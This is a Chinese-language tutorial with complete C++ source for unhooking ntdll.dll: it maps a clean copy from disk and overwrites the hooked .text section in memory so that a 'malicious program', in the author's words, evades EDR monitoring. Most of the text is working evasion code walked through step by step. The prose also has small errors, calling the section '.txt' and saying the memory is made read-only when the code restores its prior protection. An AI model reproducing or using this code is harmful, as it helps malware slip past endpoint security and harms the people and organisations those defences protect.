EDR会在特定的Windows API函数上挂钩,例如NtWriteVirtualMemory函数,NTAllocateVirtualMemory函数等等。
我们可以从磁盘加载Ntdll.dll文件来绕过EDR产品,因为存储在磁盘上的EDR并不挂钩,磁盘上的Ntdll不包含EDR的代码,一般都是当我们的恶意程序启动之后并且Ntdll加载到内存中之后,EDR才会挂钩。
那么如果我们使用磁盘上的文件去覆盖掉已经在应用程序中挂钩的ntdll,那么是不是就可以绕过了。
我们主要关注的是覆盖已经感染过的ntdll的.txt部分即可。需要注意的是这种操作可能会产生告警,因为同一个应用程序加载两次ntdll是不常见的操作。
接下来我们来看一下代码:
首先第一步我们通过调用GetCurrentProcess返回我们当前的句柄,然后调用GetModuleHandleA函数来获取我们进程中的Ntdll.dll
HANDLE process = GetCurrentProcess();
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
我们来dbg跟一下:
可以看到是5A4D开头的。
获取到之后,然后调用getModuleInformation函数获取模块文件信息原型。
现在我们代码就变成了:
HANDLE process = GetCurrentProcess();
MODULEINFO moduleInfo = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &moduleInfo, sizeof(moduleInfo));
紧接着获取moduleInfo结构中的lpBaseOfDll,其实就是上面通过GetModuleHandleA获取进程中ntdll的基地址。
LPVOID ntdllBase = (LPVOID)moduleInfo.lpBaseOfDll;
然后通过CreateFileA函数读取磁盘上的ntdll.dll文件。
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
然后通过CreateFileMapping函数创建一个文件映射,CreateFileMapping函数可以创建或打开命名或未命名的文件映射对象,该对象通过内存映射技术对文件内容的访问,它允许进程创建虚拟内存空间,映射到磁盘上文件的内容或另一个内存位置。该函数返回文件映射对象的句柄。
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
然后获取到进程中ntdll中的DOS头。
PIMAGE_DOS_HEADER dosHeaderOfHookedDll = (PIMAGE_DOS_HEADER)ntdllBase;
获取到DOS头之后下一步就是获取NT头了,NT头通过DOS头的e_lfane来进行获取。
PIMAGE_NT_HEADERS ntHeaderOfHookedDll = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeaderOfHookedDll->e_lfanew);
获取到NT头之后,接下来就可以去获取节表了,然后遍历节表。
可以看到我们的节表有9个。
紧接着我们来获取到一个节,也就是.txt。
然后进行判断我们这个节的名字是否是.txt,如果是的话那么进入IF。
然后我们获取到对应节的位置:
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
startingPageAdress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
获取到进程中节的位置之后,然后获取节的大小。
sizeOfTheRegion = hookedSectionHeader->Misc.VirtualSize;
然后将这块内存更改为RWX,也就是可读可写可执行。
bool isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, PAGE_EXECUTE_READWRITE, &oldProtection);
然后将我们上面从文件读取出来的copy到进程中.txt节这块内存。
memcpy(startingPageAdress, (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
最后再将这块内存改成只读的即可。
isProtected = VirtualProtect(startingPageAdress, sizeOfTheRegion, oldProtection, &oldProtection);
完整代码:
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
int main()
{
//调用GetCurrentProcess返回我们当前的句柄。
HANDLE process = GetCurrentProcess();
//注意这里获取到的是进程中NTDLL.DLL的基地址
HMODULE ndllBase = GetModuleHandleA("NTDLL.DLL");
//然后调用GetMofuleInfomation来获取指定模块的相关信息。
MODULEINFO moduleInfo = {};
GetModuleInformation(process,ndllBase,&moduleInfo,sizeof(moduleInfo));
//获取moduleInfo结构中的lpBaseOfDll,这里其实就是上面通过GetModuleHandleA获取NTDLL.DLL的基地址
LPVOID ntdllBase = moduleInfo.lpBaseOfDll;
//获取到NTDLL.DLL的基地址之后,先去读取磁盘上的ntdll.dll文件。
HANDLE ntdllFile = CreateFileA("C:\\windows\\system32\\ntdll.dll",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
//然后通过CreateFileMapping创建文件映射,
HANDLE ndllMapping = CreateFileMapping(ntdllFile,NULL,PAGE_READONLY | SEC_IMAGE,0,0,NULL);
LPVOID ndllMappingAddress = MapViewOfFile(ndllMapping,FILE_MAP_READ,0,0,0);
//获取进程中ntdll的DOS头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
//获取进程ntdll的NT头。
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + dosHeader->e_lfanew);
//获取到NT头之后循环遍历节表
for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections;i++) {
//获取到第一个节.
PIMAGE_SECTION_HEADER hookText = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookText->Name,(char*)".text")) { //判断节的名字是否是.txt 如果是的话进入IF
DWORD old = 0;
//定位到.txt节的RVA地址
LPVOID pAddress = (LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookText->VirtualAddress);
DWORD size = hookText->Misc.VirtualSize;
//然后将这块内存更改为RWX,也就是可读可写可执行。
getchar();
bool isProtected = VirtualProtect(pAddress,size,PAGE_EXECUTE_READWRITE,&old);
memcpy(pAddress, (LPVOID)((DWORD_PTR)ndllMappingAddress +
(DWORD_PTR)hookText->VirtualAddress), size);
getchar();
isProtected = VirtualProtect(pAddress,size,old,&old);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ndllMapping);
FreeLibrary(ndllBase);
getchar();
}